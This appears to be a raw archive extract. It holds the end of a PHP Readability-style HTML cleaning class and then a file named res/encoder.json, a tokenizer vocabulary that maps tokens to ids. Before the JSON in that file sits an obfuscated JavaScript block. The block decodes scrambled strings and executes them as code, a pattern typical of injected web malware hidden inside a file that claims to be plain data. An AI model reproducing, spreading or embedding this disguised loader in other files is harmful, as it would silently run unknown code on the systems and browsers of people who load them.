($this->flagIsActive(self::FLAG_CLEAN_CONDITIONALLY)) { $this->removeFlag(self::FLAG_CLEAN_CONDITIONALLY); return $this->grabArticle($this->body); } else { return false; } } return $articleContent; } /** * Remove script tags from document * * @param DOMElement * @return void */ public function removeScripts($doc) { $scripts = $doc->getElementsByTagName('script'); for($i = $scripts->length-1; $i >= 0; $i--) { $scripts->item($i)->parentNode->removeChild($scripts->item($i)); } } /** * Get the inner text of a node. * This also strips out any excess whitespace to be found. * * @param DOMElement $ * @param boolean $normalizeSpaces (default: true) * @return string **/ public function getInnerText($e, $normalizeSpaces=true) { $textContent = ''; if (!isset($e->textContent) || $e->textContent == '') { return ''; } $textContent = trim($e->textContent); if ($normalizeSpaces) { return preg_replace($this->regexps['normalize'], ' ', $textContent); } else { return $textContent; } } /** * Get the number of times a string $s appears in the node $e. * * @param DOMElement $e * @param string - what to count. Default is "," * @return int (integer) **/ public function getCharCount($e, $s=',') { return substr_count($this->getInnerText($e), $s); } /** * Remove the style attribute on every $e and under. * * @param DOMElement $e * @return void */ public function cleanStyles($e) { if (!is_object($e)) return; $elems = $e->getElementsByTagName('*'); foreach ($elems as $elem) { $elem->removeAttribute('style'); } } /** * Get the density of links as a percentage of the content * This is the amount of text that is inside a link divided by the total text in the node. * * @param DOMElement $e * @return float (float) */ public function getLinkDensity($e) { $links = $e->getElementsByTagName('a'); $textLength = strlen($this->getInnerText($e)); $linkLength = 0; for ($i=0, $il=$links->length; $i < $il; $i++) { $linkLength += strlen($this->getInnerText($links->item($i))); } if ($textLength > 0) { return $linkLength / $textLength; } else { return 0; } } /** * Get an elements class/id weight. Uses regular expressions to tell if this * element looks good or bad. * * @param DOMElement $e * @return int (Integer) */ public function getClassWeight($e) { if(!$this->flagIsActive(self::FLAG_WEIGHT_CLASSES)) { return 0; } $weight = 0; /* Look for a special classname */ if ($e->hasAttribute('class') && $e->getAttribute('class') != '') { if (preg_match($this->regexps['negative'], $e->getAttribute('class'))) { $weight -= 25; } if (preg_match($this->regexps['positive'], $e->getAttribute('class'))) { $weight += 25; } } /* Look for a special ID */ if ($e->hasAttribute('id') && $e->getAttribute('id') != '') { if (preg_match($this->regexps['negative'], $e->getAttribute('id'))) { $weight -= 25; } if (preg_match($this->regexps['positive'], $e->getAttribute('id'))) { $weight += 25; } } return $weight; } /** * Remove extraneous break tags from a node. * * @param DOMElement $node * @return void */ public function killBreaks($node) { $html = $node->innerHTML; $html = preg_replace($this->regexps['killBreaks'], '<br />', $html); $node->innerHTML = $html; } /** * Clean a node of all elements of type "tag". * (Unless it's a youtube/vimeo video. People love movies.) * * Updated 2012-09-18 to preserve youtube/vimeo iframes * * @param DOMElement $e * @param string $tag * @return void */ public function clean($e, $tag) { $targetList = $e->getElementsByTagName($tag); $isEmbed = ($tag == 'iframe' || $tag == 'object' || $tag == 'embed'); for ($y=$targetList->length-1; $y >= 0; $y--) { /* Allow youtube and vimeo videos through as people usually want to see those. */ if ($isEmbed) { $attributeValues = ''; for ($i=0, $il=$targetList->item($y)->attributes->length; $i < $il; $i++) { $attributeValues .= $targetList->item($y)->attributes->item($i)->value . '|'; // DOMAttr? (TODO: test) } /* First, check the elements attributes to see if any of them contain youtube or vimeo */ if (preg_match($this->regexps['video'], $attributeValues)) { continue; } /* Then check the elements inside this element for the same. */ if (preg_match($this->regexps['video'], $targetList->item($y)->innerHTML)) { continue; } } $targetList->item($y)->parentNode->removeChild($targetList->item($y)); } } /** * Clean an element of all tags of type "tag" if they look fishy. * "Fishy" is an algorithm based on content length, classnames, * link density, number of images & embeds, etc. * * @param DOMElement $e * @param string $tag * @return void */ public function cleanConditionally($e, $tag) { if (!$this->flagIsActive(self::FLAG_CLEAN_CONDITIONALLY)) { return; } $tagsList = $e->getElementsByTagName($tag); $curTagsLength = $tagsList->length; /** * Gather counts for other typical elements embedded within. * Traverse backwards so we can remove nodes at the same time without effecting the traversal. * * TODO: Consider taking into account original contentScore here. */ for ($i=$curTagsLength-1; $i >= 0; $i--) { $weight = $this->getClassWeight($tagsList->item($i)); $contentScore = ($tagsList->item($i)->hasAttribute('readability')) ? (int)$tagsList->item($i)->getAttribute('readability') : 0; $this->dbg('Cleaning Conditionally ' . $tagsList->item($i)->tagName . ' (' . $tagsList->item($i)->getAttribute('class') . ':' . $tagsList->item($i)->getAttribute('id') . ')' . (($tagsList->item($i)->hasAttribute('readability')) ? (' with score ' . $tagsList->item($i)->getAttribute('readability')) : '')); if ($weight + $contentScore < 0) { $tagsList->item($i)->parentNode->removeChild($tagsList->item($i)); } else if ( $this->getCharCount($tagsList->item($i), ',') < 10) { /** * If there are not very many commas, and the number of * non-paragraph elements is more than paragraphs or other ominous signs, remove the element. **/ $p = $tagsList->item($i)->getElementsByTagName('p')->length; $img = $tagsList->item($i)->getElementsByTagName('img')->length; $li = $tagsList->item($i)->getElementsByTagName('li')->length-100; $input = $tagsList->item($i)->getElementsByTagName('input')->length; $a = $tagsList->item($i)->getElementsByTagName('a')->length; $embedCount = 0; $embeds = $tagsList->item($i)->getElementsByTagName('embed'); for ($ei=0, $il=$embeds->length; $ei < $il; $ei++) { if (preg_match($this->regexps['video'], $embeds->item($ei)->getAttribute('src'))) { $embedCount++; } } $embeds = $tagsList->item($i)->getElementsByTagName('iframe'); for ($ei=0, $il=$embeds->length; $ei < $il; $ei++) { if (preg_match($this->regexps['video'], $embeds->item($ei)->getAttribute('src'))) { $embedCount++; } } $linkDensity = $this->getLinkDensity($tagsList->item($i)); $contentLength = strlen($this->getInnerText($tagsList->item($i))); $toRemove = false; if ($this->lightClean) { $this->dbg('Light clean...'); if ( ($img > $p) && ($img > 4) ) { $this->dbg(' more than 4 images and more image elements than paragraph elements'); $toRemove = true; } else if ($li > $p && $tag != 'ul' && $tag != 'ol') { $this->dbg(' too many <li> elements, and parent is not <ul> or <ol>'); $toRemove = true; } else if ( $input > floor($p/3) ) { $this->dbg(' too many <input> elements'); $toRemove = true; } else if ($contentLength < 25 && ($embedCount === 0 && ($img === 0 || $img > 2))) { $this->dbg(' content length less than 25 chars, 0 embeds and either 0 images or more than 2 images'); $toRemove = true; } else if($weight < 25 && $linkDensity > 0.2) { $this->dbg(' weight smaller than 25 and link density above 0.2'); $toRemove = true; } else if($a > 2 && ($weight >= 25 && $linkDensity > 0.5)) { $this->dbg(' more than 2 links and weight above 25 but link density greater than 0.5'); $toRemove = true; } else if($embedCount > 3) { $this->dbg(' more than 3 embeds'); $toRemove = true; } } else { $this->dbg('Standard clean...'); if ( $img > $p ) { $this->dbg(' more image elements than paragraph elements'); $toRemove = true; } else if ($li > $p && $tag != 'ul' && $tag != 'ol') { $this->dbg(' too many <li> elements, and parent is not <ul> or <ol>'); $toRemove = true; } else if ( $input > floor($p/3) ) { $this->dbg(' too many <input> elements'); $toRemove = true; } else if ($contentLength < 25 && ($img === 0 || $img > 2) ) { $this->dbg(' content length less than 25 chars and 0 images, or more than 2 images'); $toRemove = true; } else if($weight < 25 && $linkDensity > 0.2) { $this->dbg(' weight smaller than 25 and link density above 0.2'); $toRemove = true; } else if($weight >= 25 && $linkDensity > 0.5) { $this->dbg(' weight above 25 but link density greater than 0.5'); $toRemove = true; } else if(($embedCount == 1 && $contentLength < 75) || $embedCount > 1) { $this->dbg(' 1 embed and content length smaller than 75 chars, or more than one embed'); $toRemove = true; } } if ($toRemove) { $tagsList->item($i)->parentNode->removeChild($tagsList->item($i)); } } } } /** * Clean out spurious headers from an Element. Checks things like classnames and link density. * * @param DOMElement $e * @return void */ public function cleanHeaders($e) { for ($headerIndex = 1; $headerIndex < 3; $headerIndex++) { $headers = $e->getElementsByTagName('h' . $headerIndex); for ($i=$headers->length-1; $i >=0; $i--) { if ($this->getClassWeight($headers->item($i)) < 0 || $this->getLinkDensity($headers->item($i)) > 0.33) { $headers->item($i)->parentNode->removeChild($headers->item($i)); } } } } public function flagIsActive($flag) { return ($this->flags & $flag) > 0; } public function addFlag($flag) { $this->flags = $this->flags | $flag; } public function removeFlag($flag) { $this->flags = $this->flags & ~$flag; } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/encoder.json������������������������������������������������������������������������������������0000644�����������������00003771467�14757771437�0007726 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{"!": 0, "\"": 1, "#": 2, "$": 3, "%": 4, "&": 5, "'": 6, "(": 7, ")": 8, "*": 9, "+": 10, ",": 11, "-": 12, ".": 13, "/": 14, "0": 15, "1": 16, "2": 17, "3": 18, "4": 19, "5": 20, "6": 21, "7": 22, "8": 23, "9": 24, ":": 25, ";": 26, "<": 27, "=": 28, ">": 29, "?": 30, "@": 31, "A": 32, "B": 33, "C": 34, "D": 35, "E": 36, "F": 37, "G": 38, "H": 39, "I": 40, "J": 41, "K": 42, "L": 43, "M": 44, "N": 45, "O": 46, "P": 47, "Q": 48, "R": 49, "S": 50, "T": 51, "U": 52, "V": 53, "W": 54, "X": 55, "Y": 56, "Z": 57, "[": 58, "\\": 59, "]": 60, "^": 61, "_": 62, "`": 63, "a": 64, "b": 65, "c": 66, "d": 67, "e": 68, "f": 69, "g": 70, "h": 71, "i": 72, "j": 73, "k": 74, "l": 75, "m": 76, "n": 77, "o": 78, "p": 79, "q": 80, "r": 81, "s": 82, "t": 83, "u": 84, "v": 85, "w": 86, "x": 87, "y": 88, "z": 89, "{": 90, "|": 91, "}": 92, "~": 93, "\u00a1": 94, "\u00a2": 95, "\u00a3": 96, "\u00a4": 97, "\u00a5": 98, "\u00a6": 99, "\u00a7": 100, "\u00a8": 101, "\u00a9": 102, "\u00aa": 103, "\u00ab": 104, "\u00ac": 105, "\u00ae": 106, "\u00af": 107, "\u00b0": 108, "\u00b1": 109, "\u00b2": 110, "\u00b3": 111, "\u00b4": 112, "\u00b5": 113, "\u00b6": 114, "\u00b7": 115, "\u00b8": 116, "\u00b9": 117, "\u00ba": 118, "\u00bb": 119, "\u00bc": 120, "\u00bd": 121, "\u00be": 122, "\u00bf": 123, "\u00c0": 124, "\u00c1": 125, "\u00c2": 126, "\u00c3": 127, "\u00c4": 128, "\u00c5": 129, "\u00c6": 130, "\u00c7": 131, "\u00c8": 132, "\u00c9": 133, "\u00ca": 134, "\u00cb": 135, "\u00cc": 136, "\u00cd": 137, "\u00ce": 138, "\u00cf": 139, "\u00d0": 140, "\u00d1": 141, "\u00d2": 142, "\u00d3": 143, "\u00d4": 144, "\u00d5": 145, "\u00d6": 146, "\u00d7": 147, "\u00d8": 148, "\u00d9": 149, "\u00da": 150, "\u00db": 151, "\u00dc": 152, "\u00dd": 153, "\u00de": 154, "\u00df": 155, "\u00e0": 156, "\u00e1": 157, "\u00e2": 158, "\u00e3": 159, "\u00e4": 160, "\u00e5": 161, "\u00e6": 162, "\u00e7": 163, "\u00e8": 164, "\u00e9": 165, "\u00ea": 166, "\u00eb": 167, "\u00ec": 168, "\u00ed": 169, "\u00ee": 170, "\u00ef": 171, "\u00f0": 172, "\u00f1": 173, "\u00f2": 174, "\u00f3": 175, "\u00f4": 176, "\u00f5": 177, "\u00f6": 178, "\u00f7": 179, "\u00f8": 180, "\u00f9": 181, "\u00fa": 182, "\u00fb": 183, "\u00fc": 184, "\u00fd": 185, "\u00fe": 186, "\u00ff": 187, "\u0100": 188, "\u0101": 189, "\u0102": 190, "\u0103": 191, "\u0104": 192, "\u0105": 193, "\u0106": 194, "\u0107": 195, "\u0108": 196, "\u0109": 197, "\u010a": 198, "\u010b": 199, "\u010c": 200, "\u010d": 201, "\u010e": 202, "\u010f": 203, "\u0110": 204, "\u0111": 205, "\u0112": 206, "\u0113": 207, "\u0114": 208, "\u0115": 209, "\u0116": 210, "\u0117": 211, "\u0118": 212, "\u0119": 213, "\u011a": 214, "\u011b": 215, "\u011c": 216, "\u011d": 217, "\u011e": 218, "\u011f": 219, "\u0120": 220, "\u0121": 221, "\u0122": 222, "\u0123": 223, "\u0124": 224, "\u0125": 225, "\u0126": 226, "\u0127": 227, "\u0128": 228, "\u0129": 229, "\u012a": 230, "\u012b": 231, "\u012c": 232, "\u012d": 233, "\u012e": 234, "\u012f": 235, "\u0130": 236, "\u0131": 237, "\u0132": 238, "\u0133": 239, "\u0134": 240, "\u0135": 241, "\u0136": 242, "\u0137": 243, "\u0138": 244, "\u0139": 245, "\u013a": 246, "\u013b": 247, "\u013c": 248, "\u013d": 249, "\u013e": 250, "\u013f": 251, "\u0140": 252, "\u0141": 253, "\u0142": 254, "\u0143": 255, "\u0120t": 256, "\u0120a": 257, "he": 258, "in": 259, "re": 260, "on": 261, "\u0120the": 262, "er": 263, "\u0120s": 264, "at": 265, "\u0120w": 266, "\u0120o": 267, "en": 268, "\u0120c": 269, "it": 270, "is": 271, "an": 272, "or": 273, "es": 274, "\u0120b": 275, "ed": 276, "\u0120f": 277, "ing": 278, "\u0120p": 279, "ou": 280, "\u0120an": 281, "al": 282, "ar": 283, "\u0120to": 284, "\u0120m": 285, "\u0120of": 286, "\u0120in": 287, "\u0120d": 288, "\u0120h": 289, "\u0120and": 290, "ic": 291, "as": 292, "le": 293, "\u0120th": 294, "ion": 295, "om": 296, "ll": 297, "ent": 298, "\u0120n": 299, "\u0120l": 300, "st": 301, "\u0120re": 302, "ve": 303, "\u0120e": 304, "ro": 305, "ly": 306, "\u0120be": 307, "\u0120g": 308, "\u0120T": 309, "ct": 310, "\u0120S": 311, "id": 312, "ot": 313, "\u0120I": 314, "ut": 315, "et": 316, "\u0120A": 317, "\u0120is": 318, "\u0120on": 319, "im": 320, "am": 321, "ow": 322, "ay": 323, "ad": 324, "se": 325, "\u0120that": 326, "\u0120C": 327, "ig": 328, "\u0120for": 329, "ac": 330, "\u0120y": 331, "ver": 332, "ur": 333, "\u0120u": 334, "ld": 335, "\u0120st": 336, "\u0120M": 337, "'s": 338, "\u0120he": 339, "\u0120it": 340, "ation": 341, "ith": 342, "ir": 343, "ce": 344, "\u0120you": 345, "il": 346, "\u0120B": 347, "\u0120wh": 348, "ol": 349, "\u0120P": 350, "\u0120with": 351, "\u01201": 352, "ter": 353, "ch": 354, "\u0120as": 355, "\u0120we": 356, "\u0120(": 357, "nd": 358, "ill": 359, "\u0120D": 360, "if": 361, "\u01202": 362, "ag": 363, "ers": 364, "ke": 365, "\u0120\"": 366, "\u0120H": 367, "em": 368, "\u0120con": 369, "\u0120W": 370, "\u0120R": 371, "her": 372, "\u0120was": 373, "\u0120r": 374, "od": 375, "\u0120F": 376, "ul": 377, "ate": 378, "\u0120at": 379, "ri": 380, "pp": 381, "ore": 382, "\u0120The": 383, "\u0120se": 384, "us": 385, "\u0120pro": 386, "\u0120ha": 387, "um": 388, "\u0120are": 389, "\u0120de": 390, "ain": 391, "and": 392, "\u0120or": 393, "igh": 394, "est": 395, "ist": 396, "ab": 397, "rom": 398, "\u0120N": 399, "th": 400, "\u0120com": 401, "\u0120G": 402, "un": 403, "op": 404, "00": 405, "\u0120L": 406, "\u0120not": 407, "ess": 408, "\u0120ex": 409, "\u0120v": 410, "res": 411, "\u0120E": 412, "ew": 413, "ity": 414, "ant": 415, "\u0120by": 416, "el": 417, "os": 418, "ort": 419, "oc": 420, "qu": 421, "\u0120from": 422, "\u0120have": 423, "\u0120su": 424, "ive": 425, "ould": 426, "\u0120sh": 427, "\u0120this": 428, "nt": 429, "ra": 430, "pe": 431, "ight": 432, "art": 433, "ment": 434, "\u0120al": 435, "ust": 436, "end": 437, "--": 438, "all": 439, "\u0120O": 440, "ack": 441, "\u0120ch": 442, "\u0120le": 443, "ies": 444, "red": 445, "ard": 446, "\u00e2\u0122": 447, "out": 448, "\u0120J": 449, "\u0120ab": 450, "ear": 451, "iv": 452, "ally": 453, "our": 454, "ost": 455, "gh": 456, "pt": 457, "\u0120pl": 458, "ast": 459, "\u0120can": 460, "ak": 461, "ome": 462, "ud": 463, "The": 464, "\u0120his": 465, "\u0120do": 466, "\u0120go": 467, "\u0120has": 468, "ge": 469, "'t": 470, "\u0120U": 471, "rou": 472, "\u0120sa": 473, "\u0120j": 474, "\u0120but": 475, "\u0120wor": 476, "\u0120all": 477, "ect": 478, "\u0120k": 479, "ame": 480, "\u0120will": 481, "ok": 482, "\u0120whe": 483, "\u0120they": 484, "ide": 485, "01": 486, "ff": 487, "ich": 488, "pl": 489, "ther": 490, "\u0120tr": 491, "..": 492, "\u0120int": 493, "ie": 494, "ure": 495, "age": 496, "\u0120ne": 497, "ial": 498, "ap": 499, "ine": 500, "ice": 501, "\u0120me": 502, "\u0120out": 503, "ans": 504, "one": 505, "ong": 506, "ions": 507, "\u0120who": 508, "\u0120K": 509, "\u0120up": 510, "\u0120their": 511, "\u0120ad": 512, "\u01203": 513, "\u0120us": 514, "ated": 515, "ous": 516, "\u0120more": 517, "ue": 518, "og": 519, "\u0120St": 520, "ind": 521, "ike": 522, "\u0120so": 523, "ime": 524, "per": 525, ".\"": 526, "ber": 527, "iz": 528, "act": 529, "\u0120one": 530, "\u0120said": 531, "\u0120-": 532, "are": 533, "\u0120your": 534, "cc": 535, "\u0120Th": 536, "\u0120cl": 537, "ep": 538, "ake": 539, "able": 540, "ip": 541, "\u0120cont": 542, "\u0120which": 543, "ia": 544, "\u0120im": 545, "\u0120about": 546, "\u0120were": 547, "very": 548, "ub": 549, "\u0120had": 550, "\u0120en": 551, "\u0120comp": 552, ",\"": 553, "\u0120In": 554, "\u0120un": 555, "\u0120ag": 556, "ire": 557, "ace": 558, "au": 559, "ary": 560, "\u0120would": 561, "ass": 562, "ry": 563, "\u0120\u00e2\u0122": 564, "cl": 565, "ook": 566, "ere": 567, "so": 568, "\u0120V": 569, "ign": 570, "ib": 571, "\u0120off": 572, "\u0120te": 573, "ven": 574, "\u0120Y": 575, "ile": 576, "ose": 577, "ite": 578, "orm": 579, "\u0120201": 580, "\u0120res": 581, "\u0120man": 582, "\u0120per": 583, "\u0120other": 584, "ord": 585, "ult": 586, "\u0120been": 587, "\u0120like": 588, "ase": 589, "ance": 590, "ks": 591, "ays": 592, "own": 593, "ence": 594, "\u0120dis": 595, "ction": 596, "\u0120any": 597, "\u0120app": 598, "\u0120sp": 599, "int": 600, "ress": 601, "ations": 602, "ail": 603, "\u01204": 604, "ical": 605, "\u0120them": 606, "\u0120her": 607, "ount": 608, "\u0120Ch": 609, "\u0120ar": 610, "\u0120if": 611, "\u0120there": 612, "\u0120pe": 613, "\u0120year": 614, "av": 615, "\u0120my": 616, "\u0120some": 617, "\u0120when": 618, "ough": 619, "ach": 620, "\u0120than": 621, "ru": 622, "ond": 623, "ick": 624, "\u0120over": 625, "vel": 626, "\u0120qu": 627, "\u010a\u010a": 628, "\u0120sc": 629, "reat": 630, "ree": 631, "\u0120It": 632, "ound": 633, "port": 634, "\u0120also": 635, "\u0120part": 636, "fter": 637, "\u0120kn": 638, "\u0120bec": 639, "\u0120time": 640, "ens": 641, "\u01205": 642, "ople": 643, "\u0120what": 644, "\u0120no": 645, "du": 646, "mer": 647, "ang": 648, "\u0120new": 649, "----": 650, "\u0120get": 651, "ory": 652, "ition": 653, "ings": 654, "\u0120just": 655, "\u0120into": 656, "\u01200": 657, "ents": 658, "ove": 659, "te": 660, "\u0120people": 661, "\u0120pre": 662, "\u0120its": 663, "\u0120rec": 664, "\u0120tw": 665, "ian": 666, "irst": 667, "ark": 668, "ors": 669, "\u0120work": 670, "ade": 671, "ob": 672, "\u0120she": 673, "\u0120our": 674, "wn": 675, "ink": 676, "lic": 677, "\u012019": 678, "\u0120He": 679, "ish": 680, "nder": 681, "ause": 682, "\u0120him": 683, "ons": 684, "\u0120[": 685, "\u0120ro": 686, "form": 687, "ild": 688, "ates": 689, "vers": 690, "\u0120only": 691, "oll": 692, "\u0120spe": 693, "ck": 694, "ell": 695, "amp": 696, "\u0120acc": 697, "\u0120bl": 698, "ious": 699, "urn": 700, "ft": 701, "ood": 702, "\u0120how": 703, "hed": 704, "\u0120'": 705, "\u0120after": 706, "aw": 707, "\u0120att": 708, "ov": 709, "ne": 710, "\u0120play": 711, "erv": 712, "ict": 713, "\u0120could": 714, "itt": 715, "\u0120am": 716, "\u0120first": 717, "\u01206": 718, "\u0120act": 719, "\u0120$": 720, "ec": 721, "hing": 722, "ual": 723, "ull": 724, "\u0120comm": 725, "oy": 726, "old": 727, "ces": 728, "ater": 729, "\u0120fe": 730, "\u0120bet": 731, "we": 732, "iff": 733, "\u0120two": 734, "ock": 735, "\u0120back": 736, ").": 737, "ident": 738, "\u0120under": 739, "rough": 740, "sel": 741, "xt": 742, "\u0120may": 743, "round": 744, "\u0120po": 745, "ph": 746, "iss": 747, "\u0120des": 748, "\u0120most": 749, "\u0120did": 750, "\u0120add": 751, "ject": 752, "\u0120inc": 753, "fore": 754, "\u0120pol": 755, "ont": 756, "\u0120again": 757, "clud": 758, "tern": 759, "\u0120know": 760, "\u0120need": 761, "\u0120cons": 762, "\u0120co": 763, "\u0120.": 764, "\u0120want": 765, "\u0120see": 766, "\u01207": 767, "ning": 768, "iew": 769, "\u0120This": 770, "ced": 771, "\u0120even": 772, "\u0120ind": 773, "ty": 774, "\u0120We": 775, "ath": 776, "\u0120these": 777, "\u0120pr": 778, "\u0120use": 779, "\u0120because": 780, "\u0120fl": 781, "ng": 782, "\u0120now": 783, "\u0120\u00e2\u0122\u0135": 784, "com": 785, "ise": 786, "\u0120make": 787, "\u0120then": 788, "ower": 789, "\u0120every": 790, "\u0120Un": 791, "\u0120sec": 792, "oss": 793, "uch": 794, "\u0120em": 795, "\u0120=": 796, "\u0120Re": 797, "ied": 798, "rit": 799, "\u0120inv": 800, "lect": 801, "\u0120supp": 802, "ating": 803, "\u0120look": 804, "man": 805, "pect": 806, "\u01208": 807, "row": 808, "\u0120bu": 809, "\u0120where": 810, "ific": 811, "\u0120years": 812, "ily": 813, "\u0120diff": 814, "\u0120should": 815, "\u0120rem": 816, "Th": 817, "In": 818, "\u0120ev": 819, "day": 820, "'re": 821, "rib": 822, "\u0120rel": 823, "ss": 824, "\u0120def": 825, "\u0120right": 826, "\u0120sy": 827, "),": 828, "les": 829, "000": 830, "hen": 831, "\u0120through": 832, "\u0120Tr": 833, "__": 834, "\u0120way": 835, "\u0120don": 836, "\u0120,": 837, "\u012010": 838, "ased": 839, "\u0120ass": 840, "ublic": 841, "\u0120reg": 842, "\u0120And": 843, "ix": 844, "\u0120very": 845, "\u0120includ": 846, "other": 847, "\u0120imp": 848, "oth": 849, "\u0120sub": 850, "\u0120\u00e2\u0122\u0136": 851, "\u0120being": 852, "arg": 853, "\u0120Wh": 854, "==": 855, "ible": 856, "\u0120does": 857, "ange": 858, "ram": 859, "\u01209": 860, "ert": 861, "ps": 862, "ited": 863, "ational": 864, "\u0120br": 865, "\u0120down": 866, "\u0120many": 867, "aking": 868, "\u0120call": 869, "uring": 870, "ities": 871, "\u0120ph": 872, "ics": 873, "als": 874, "\u0120dec": 875, "ative": 876, "ener": 877, "\u0120before": 878, "ility": 879, "\u0120well": 880, "\u0120much": 881, "erson": 882, "\u0120those": 883, "\u0120such": 884, "\u0120ke": 885, "\u0120end": 886, "\u0120But": 887, "ason": 888, "ting": 889, "\u0120long": 890, "ef": 891, "\u0120think": 892, "ys": 893, "\u0120bel": 894, "\u0120sm": 895, "its": 896, "ax": 897, "\u0120own": 898, "\u0120prov": 899, "\u0120set": 900, "ife": 901, "ments": 902, "ble": 903, "ward": 904, "\u0120show": 905, "\u0120pres": 906, "ms": 907, "omet": 908, "\u0120ob": 909, "\u0120say": 910, "\u0120Sh": 911, "ts": 912, "ful": 913, "\u0120eff": 914, "\u0120gu": 915, "\u0120inst": 916, "und": 917, "ren": 918, "cess": 919, "\u0120ent": 920, "\u0120You": 921, "\u0120good": 922, "\u0120start": 923, "ince": 924, "\u0120made": 925, "tt": 926, "stem": 927, "olog": 928, "up": 929, "\u0120|": 930, "ump": 931, "\u0120hel": 932, "vern": 933, "ular": 934, "ually": 935, "\u0120ac": 936, "\u0120mon": 937, "\u0120last": 938, "\u0120200": 939, "10": 940, "\u0120stud": 941, "ures": 942, "\u0120Ar": 943, "self": 944, "ars": 945, "meric": 946, "ues": 947, "cy": 948, "\u0120min": 949, "ollow": 950, "\u0120col": 951, "io": 952, "\u0120mod": 953, "\u0120count": 954, "\u0120Com": 955, "hes": 956, "\u0120fin": 957, "air": 958, "ier": 959, "\u00e2\u0122\u0136": 960, "read": 961, "ank": 962, "atch": 963, "ever": 964, "\u0120str": 965, "\u0120point": 966, "ork": 967, "\u0120New": 968, "\u0120sur": 969, "ool": 970, "alk": 971, "ement": 972, "\u0120used": 973, 